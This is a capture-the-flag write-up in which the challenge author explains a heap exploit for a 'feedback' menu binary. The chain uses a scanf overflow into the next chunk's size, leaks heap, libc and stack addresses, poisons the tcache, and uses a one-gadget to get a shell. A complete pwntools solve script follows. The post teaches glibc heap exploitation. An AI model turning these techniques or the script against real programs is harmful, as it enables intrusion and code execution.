Post

Pwn - Feedback Form

Heap exploitation challenge from Dream 2025

Pwn - Feedback Form

This is a challenge which I authored for a ctf at Dream. The challenge is a heap exploitation challenge, and the source code and handout for the challenge can be found here. This detailed writeup covers the intended solve for this challenge.

Feedback Form

Initial Analysis

From the handout we are given a binary, feedback, which when run shows a menu where we can add, remove, edit, and view some feedback.

1
2
3
4
5
6
$ ./feedback
1. Add feedback
2. Remove feedback
3. Edit feedback
4. View feedback
5. Exit

After some reversing of the binary, we find that the different options does the following:

  • 1. Add: Mallocs a 0x18 size chunk for a struct with members vip and rating, and a note chunk if we want, that we can control the size of (< 0x1000). A pointer to the 0x18 chunk (feedback chunk) is stored in a global array which can hold 16 pointers. The feedback chunk is stored at an index of our choice 0 <= idx < 16.
  • 2. Remove: Remove a chunk of our choice from the global array to free. This also free’s and nulls out the note chunk, before freeing the feedback chunk itself.
  • 3. Edit: Possibility to set a new rating in a feedback chunk, as well as new data in the note belonging to the chunk.
  • 4. View: View the vip, rating, size, and content of the note for a chunk.

The Vulnerability

From reversing the View option we can work out the feedback structure.

1
2
3
4
5
6
struct feedback {
    uint64_t vip;
    char *note;
    uint32_t note_size;
    uint32_t rating;
};

The rating field is a 4-byte unsigned integer, but in the Edit option scanf("%lu%*c", &feedback_by_idx->rating) is called, which reads an 8-byte value into the variable. Because the rating field is the last member of the struct, and because of the size of the chunk (0x18), the extra 4 bytes will overwrite the metadata of the subsequent chunk, which stores info about the chunk’s size, in addition to some flags.

edit_function

This overflow allows us to change the size of chunks, which we can abuse to get leaks and make arbitrary allocations.

Heap Leak

We start by setting up some helper-functions to interact with the menu of the binary. The code for these functions can be found here.

We need to leak a pointer from the heap in order to be able to make arbitrary allocations later in our exploit, because of a heap mitigation called safe linking. This mitigation xor’s heap pointers used by the tcache (and fastbins) with the value heap_base_address >> 12, thus we need a heap leak to find this value (which from here on is referred to as heap key). Safe linking was introduced in libc after version 2.31, and this challenge uses libc version 2.35 (from the Dockerfile we see that the challenge uses Ubuntu 22.04, which uses this libc version).

Achieving a heap leak in this challenge is pretty standard, as we only need to allocate one chunk, free it, and view the chunk to get the leak in the vip field. We do these operations because:

  • Creating a feedback allocates a 0x20 chunk for us
  • Freeing the chunk adds the chunk to the tcache free list, and writes the fd (forward pointer) to the first 8 bytes of the chunk. The fd value in the tcache list is the heap address of the next chunk in the list, but for the last chunk (and only chunk in our case) this pointer is 0. This is because safe-linking does the operation fd = pointer ^ heap key, but since we only have a single freed chunk in the tcache free list (and thus it points to NULL) we get fd = 0 ^ heap key -> fd = heap key.
  • Because feedback chunks are not fully nulled out after being removed, we can view a freed feedback chunk to get the fd value from the vip field.
1
2
3
4
5
6
create(0) # Alloc chunk
free(0)   # Free to put it in tcache free list
view(0)   # View the fd pointer
heap_key = get_leak()
heap_base = heap_key << 12
log.success(f"Heap base @ {hex(heap_base)}")

Libc Leak

The standard way to get a libc leak is to allocate a chunk larger than 0x500 in size and free it. This places the chunk in the unsortedbins (not tcache free list, because it only stores small-sized chunks), which is a circular list. When there is only a single chunk in the unsorted bins the fd (first 8 bytes of chunk) and bk (next 8 bytes) pointers point to the main arena in libc. Our goal is to view one of these pointers, as then we can calculate the libc base address. However, because the note-pointer in the metadata chunk (containing vip, rating, etc.) is nulled out, we cannot just free and view the note chunk, so we must use the vulnerability we found.

After leaking the heap address, our heap looks like this.

Heap_after_heapleak

We can ignore the blue 0x290 (0x291 with flags) chunk, as it contains info used by the tcache, such as the pointer to the first chunk in the different-sized free lists. The purple chunk is out chunk 0 which we used to get a heap leak. The green 8-byte field is the top chunk, indicating the remaining size of the heap.

To get the libc leak from an unsortedbin chunk we will setup the heap so that it looks like the following:

1
2
3
4
5
6
7
------------------
|     Chunk 0    |
------------------
|     Chunk 1    |
------------------
| Chunk 0's note |
------------------

By setting the heap up like this we can edit the rating of chunk 0, which serves two purposes; we can edit the size of chunk 1 to fit the unsortedbins (> 0x500), we can make chunk 1 overlap chunk 0’s note. Then, we can free chunk 1 (which has a forged size), putting it into the unsortedbin. If we make a new allocation when the unsortedbin is populated, malloc will give us the whole unsortedbin chunk if we allocate its exact size, or a piece of it if we request a smaller size. Thus, if we just create a feedback without a note, malloc will allocate the first 0x20 bytes of the unsortedbin chunk for us, putting the fd pointer into the vip field, similar as to when we got the heap leak.

1
2
3
4
5
6
7
8
create(0) # Chunk 0
create(1) # Chunk 1 
free(0)   # Put chunk 0 in tcache list
create(0, False, True, 0x500, pack(0x21)*160) # Chunk 1 now splits chunk 0 and its note

edit(0, True, 0x511ffffffff) # Forge the size of chunk 1
free(1)                      # Free forged chunk, putting it in unsorted bin
create(2)                    # Reallocate start of unsortedbin chunk to get fd pointer

There is however one catch. The free(1) call fails, giving us this error string: double free or corruption (!prev).

If we check the source code for malloc we see these lines of code corresponding to the error string. In short, malloc checks if the prev_inuse bit is set in the header of the next chunk, and that this chunk has a valid size. The reason we fail this check is because we forged the size of chunk 1, so we don’t have a chunk succeeding it (this memory section is at the end of chunk 1’s note). We must therefore forge a chunk, essentially making it seem like chunk 1 and chunk 1’s note have swapped places. Luckily, this is easy, as we can just fill the note-chunk with 0x21 values until we hit the right spot. 0x21 has the prev-inuse bit set, and is a valid size (0x20).

1
2
3
4
5
6
7
8
9
10
11
create(0) # Chunk 0
create(1) # Chunk 1 
free(0)   # Put chunk 0 in tcache list
create(0, False, True, 0x500, pack(0x21)*160) # Chunk 1 now splits chunk 0 and its note

edit(0, True, 0x511ffffffff) # Forge the size of chunk 1
free(1)                      # Free forged chunk, putting it in unsorted bin
create(2)                    # Reallocate start of unsortedbin chunk to get fd pointer
view(2)                      # Get leak from "vip" field
libc.address = get_leak() - 0x21b110
log.success(f"Libc @ {hex(libc.address)}")

These images show the state of the heap during this exploitation step:

Chunk 1 (green) splits chunk 0 (purple) and its note chunk (dark blue).

Heap_split

The ize of chunk 1 is forged, and now overlaps part of chunk 0’s note.

Forged_chunk_size

The forged chunk is being freed, putting it in the unsortedbin.

Forged_freed

We allocate a feedback chunk (green) to reallocate part of the unsortedbin chunk (dark blue, now smaller).

Realloc_part

Arbitrary Allocation

In order to do the last two steps, which indicate finding the location of the return address on the stack, and overwrite it, we need the ability to make arbitrary allocations outside of the heap. We need this to be able to read/write values outside of the heap.

The usual technique is to exploit the tcache free list by overwriting the fd pointer of a chunk in it with the arbitrary address we want to allocate. Then, by allocating a couple of chunks, the chunk returned by malloc will be located at that arbitrary address.

The only difference for us is that we can only write arbitrary data to note chunks, but that does not hinder us much other than that we will have to use the overflow vulnerability once again to forge chunk sizes. The fd overwrite for chunks in the tcache free list part is exactly the same.

Our setup involves allocating and freeing four tcache chunks so that we get a tcache free list like this (0x20 and 0x40 are two different lists as tcache sorts by size, where the 0x40 note chunk originally was 0x20 in size before we forged it):

1
2
0x20: chunk 3 -> chunk 4 -> chunk 5 -> NULL
0x40: chunk 3's note

With this setup, we will have chunk 3’s note overlapping with chunk 4 before of our size-forging. Thus, we can overwrite chunk 4’s fd pointer to point to an arbitrary address.

The 0x20 free list will then look like this:

1
0x20: chunk 3 -> chunk 4 -> arbitrary pointer

Note that we have cut off chunk 5, as we overwrote the fd of chunk 4. When we allocate feedback chunks we will now pop allocations from the head of this list, making our third allocation being located at the arbitrary address.

With this in mind, we create the following helper-functions to give us arbitrary allocations.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# Mangle pointer for safe-linking
def mangle(addr, heap_key):
    return addr ^ heap_key

def arb_allocate(start_idx, where):
    # Allocate 4 chunks of same size
    create(start_idx, False, set_note=True, size=0x18, note=b"A"*8) # Chunk A and A's note
    create(start_idx+1) # Chunk B
    create(start_idx+2) # Chunk C

    # Change the size of A's note chunk, overlapping chunk B
    edit(start_idx, True, 0x41ffffffff)

    # Put chunks into tcache free list
    # A -> B -> C -> NULL
    free(start_idx+2) # Chunk C
    free(start_idx+1) # Chunk B
    free(start_idx)   # Chunk A

    # Overwrite "fd" pointer of chunk B
    # by reallocating A, and its note chunk which overlaps B.
    # Tcache free list is after this:
    # B -> Arbitrary pointer
    create(start_idx, False, True, size=0x38, note=b"A"*0x18 + pack(0x21) + pack(mangle(where, heap_key)))

When we overwrite chunk B we use 0x18 bytes of padding to fill chunk C, we then write the size field of chunk B (we don’t change the value), and then we overwrite the fd pointer. Note that we must mangle the address we want to arbitrary allocate, due to safe-linking being on in this libc version.

Stack Leak

Because we know the libc base address we can achieve a stack leak by arbitrary allocating a chunk at the location where libc stores the pointer to environ, which is located on the stack.

1
2
3
4
5
6
7
8
9
10
11
# Empty unsortedbin by allocating exact size 
# to get a "clean" heap so we can exploit easier
create(0, False, True, 0x4c0, b"A")

# Get an allocation at environ in libc, 
# so we can leak a stack pointer
arb_allocate(4, libc.sym.environ)
create(5) # Chunk B
create(6) # libc.environ
view(6)   # Peek at the stack address stored here
stack_leak = get_leak()

Getting Shell

As we now have our final puzzle piece, a stack leak, we can now calculate where the return address of main is stored, and then overwrite it with a one-gadget to get a shell.

First, we calculate the location of the return address. In our case it is 0x120 bytes before the environ stack leak. In pwndbg the return address of main can be found by using the command retaddr, and choosing the correct one from the list.

1
2
retaddr = stack_leak - 0x120
log.success(f"Retaddr @ {hex(retaddr)}")

As we have the location of the return address, we can arbitrary allocate our way to that location, similar to how we arbitrary allocated to environ. There is only one catch, which is that the location we arbitrary allocate have to be 8 bytes before the location of the return address, because the chunk we allocate must be at a 16-byte aligned address. If it wasnt aligned we would get the error: malloc(): unaligned tcache chunk detected

We must also find a suitable one-gadget to overwrite the return address with. We get a list of candidates from the libc linked with the challenge with the command one_gadget ./libc.so.6. There are a couple which have register-constraints that we don’t satisfy, making the one-gadgets fail. However, we can satisfy this one:

1
2
3
4
5
0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
  address rbp-0x48 is writable
  rax == NULL || {rax, r12, NULL} is a valid argv
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

Because we have to allocate at the address retaddr-8 for alignment purposes the first 8 bytes we write will overwrite the stored base pointer, which gets stored in the rbp register. We have leaks for the stack, libc, and heap, so we can easily overwrite rbp with a pointer that points to NULL in either of these (satisfying [rbp-0x70] == NULL). I chose heap_base + 0x80 for this purpose.

1
2
3
4
# Allocate a chunk at the location of the return address - 8 bytes
# and write a one-gadget to get shell
arb_allocate(7, retaddr-8)
create(8, False, True, size=0x18, note=pack(heap_base+0x80) + pack(libc.address + 0xebd3f))

Finally, to trigger the one-gadget, we just need to make the main function return instead of exiting, which can be done by sending an invalid option in the menu (> 5).

1
2
# Send an invalid option to trigger a return from main
io.sendlineafter(b">>", b"8")
1
2
3
4
5
6
7
8
$ python3 solve.py
[+] Heap base @ 0x60b945cb7000
[+] Libc @ 0x70dd50400000
[+] Retaddr @ 0x7ffd8d992998
[*] Switching to interactive mode
 Invalid option!
$ cat flag.txt
DREAM{H3ap5_0f_f33db4ck!}

Full Solve Script

The full solve script can be found here.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

exe = context.binary = ELF(args.EXE or './feedback', checksec=False)
libc = exe.libc

host = args.HOST or '127.0.0.1'
port = int(args.PORT or 9001)

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.REMOTE:
        return start_remote(argv, *a, **kw)
    else:
        return start_local(argv, *a, **kw)

gdbscript = '''
tbreak main
set max-visualize-chunk-size 0x50
continue
'''.format(**locals())

# -- Exploit goes here --

io = start()

def create(idx, vip=False, set_note: bool=False, size=0, note=b""):
    io.sendlineafter(b">> ", b"1")
    io.sendlineafter(b"idx: ", str(idx).encode())
    io.sendlineafter(b"vip? (y/n):", b"y" if vip else b"n")
    io.sendlineafter(b"rating: ", str(idx).encode())
    io.sendlineafter(b"to the rating? (y/n):", b"y" if set_note else b"n")
    if set_note:
        io.sendlineafter(b"size: ", str(size).encode())
        io.sendlineafter(b"note: ", note)

def free(idx):
    io.sendlineafter(b">> ", b"2")
    io.sendlineafter(b"idx: ", str(idx).encode())

def edit(idx, new_rating: bool=False, new_rating_val=0, new_note: bool=False, new_note_val=0):
    io.sendlineafter(b">> ", b"3")
    io.sendlineafter(b"idx: ", str(idx).encode())
    io.sendlineafter(b"new rating? (y/n):", b"y" if new_rating else b"n")
    if new_rating:
        if isinstance(new_rating_val, int):
            io.sendlineafter(b"new rating:", str(new_rating_val).encode())
        else:
            io.sendlineafter(b"new rating:", new_rating_val)

    io.sendlineafter(b"new note? (y/n):", b"y" if new_note else b"n")
    if new_note:
        io.sendlineafter(b"new note:", new_note_val)

def view(idx):
    io.sendlineafter(b">> ", b"4")
    io.sendlineafter(b"idx: ", str(idx).encode())

def get_leak():
    io.recvuntil(b"vip: ")
    return int(io.recvline().rstrip())

# Mangle pointer for safe-linking
def mangle(addr, heap_key):
    return addr ^ heap_key

def arb_allocate(start_idx, where):
    # Allocate 4 chunks of same size
    create(start_idx, False, set_note=True, size=0x18, note=b"A"*8) # Chunk A and A's note
    create(start_idx+1) # Chunk B
    create(start_idx+2) # Chunk C

    # Change the size of A's note chunk, overlapping chunk B
    edit(start_idx, True, 0x41ffffffff)

    # Put chunks into tcache free list
    # A -> B -> C -> NULL
    free(start_idx+2) # Chunk C
    free(start_idx+1) # Chunk B
    free(start_idx)   # Chunk A

    # Overwrite "fd" pointer of chunk B
    # by reallocating A, and its note chunk which overlaps B.
    # Tcache free list is after this:
    # B -> Arbitrary pointer
    create(start_idx, False, True, size=0x38, note=b"A"*0x18 + pack(0x21) + pack(mangle(where, heap_key)))

#################
### Heap leak ###
#################
create(0) # Alloc chunk
free(0)   # Free to put it in tcache free list
view(0)   # View the fd pointer
heap_key = get_leak()
heap_base = heap_key << 12
log.success(f"Heap base @ {hex(heap_base)}")
# input("Heap state")

#################
### Libc leak ###
#################
create(0) # Chunk 0
create(1) # Chunk 1 
free(0)   # Put chunk 0 in tcache list
create(0, False, True, 0x500, pack(0x21)*160) # Chunk 1 now splits chunk 0 and its note
# input("Splitted")

edit(0, True, 0x511ffffffff) # Forge the size of chunk 1
free(1)                      # Free forged chunk, putting it in unsorted bin
create(2)                    # Reallocate start of unsortedbin chunk to get fd pointer
view(2)                      # Get leak from "vip" field
libc.address = get_leak() - 0x21b110
log.success(f"Libc @ {hex(libc.address)}")


##################
### Stack leak ###
##################
# Empty unsortedbin by allocating exact size 
# to get a "clean" heap so we can exploit easier
create(0, False, True, 0x4c0, b"A")

# Get an allocation at environ in libc, 
# so we can leak a stack pointer
arb_allocate(4, libc.sym.environ)
create(5) # Chunk B
create(6) # libc.environ
view(6)   # Peek at the stack address stored here
stack_leak = get_leak()
retaddr = stack_leak - 0x120
log.success(f"Retaddr @ {hex(retaddr)}")


#############
### Shell ###
#############
# Allocate a chunk at the location of the return address - 8 bytes
# and write a one-gadget to get shell
arb_allocate(7, retaddr-8)
create(8, False, True, size=0x18, note=pack(heap_base+0x80) + pack(libc.address + 0xebd3f))

# Send an invalid option to trigger a return from main
io.sendlineafter(b">>", b"8")

io.interactive()
This post is licensed under CC BY 4.0 by the author.